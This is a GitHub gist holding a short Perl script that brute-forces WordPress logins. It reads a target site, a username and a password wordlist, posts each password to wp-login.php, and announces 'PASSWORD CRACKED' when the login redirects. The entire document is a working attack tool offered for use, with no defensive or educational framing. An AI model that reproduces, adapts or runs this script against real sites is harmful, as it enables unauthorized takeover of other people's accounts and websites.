Skip to content

Instantly share code, notes, and snippets.

@dreadpiratesr

dreadpiratesr/Wordpress Brute-force

Created November 12, 2015 00:36
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save dreadpiratesr/2f1c9ca5d56a8b7f1925 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save dreadpiratesr/2f1c9ca5d56a8b7f1925 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. dreadpiratesr created this gist Nov 12, 2015.
    52 changes: 52 additions & 0 deletions Wordpress Brute-force
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,52 @@
    #!/usr/bin/perl

    # WP-BRUTE BY DPR
    # dreadpiratesr

    use LWP::UserAgent;

    $site = $ARGV[0];
    $user = $ARGV[1];
    $wordl = $ARGV[2];

    if(@ARGV != 3){
    print "
    WP-Brute by MMxM
    How to use: $0 <site> <user> <wordlist>
    exe: $0 site.com admin wordlist.txt
    ";
    exit;
    }

    if ($site !~ /^http:\/\//){
    $site = 'http://' . $site;
    }
    if ($site !~ /\/wp-login.php/){
    $site = $site . '/wp-login.php';
    }

    open(a,"<$wordl") or die "$!";
    print "\n\nSite: $site\nUsername: $user\n\nAttacking...\n\n";
    sleep(2);
    while(<a>){
    chomp($_);

    my $ua = new LWP::UserAgent;

    my $response
    = $ua->post($site,
    { log => $user,
    pwd => $_,
    wp-submit => 'Log in',
    });

    my $code = $response->code;
    print "[+] Testing... $_\n";
    if($code == 302){
    print "\n\n\t[*] PASSWORD CRACKED: $_\n\n";
    exit;
    }
    }
    exit;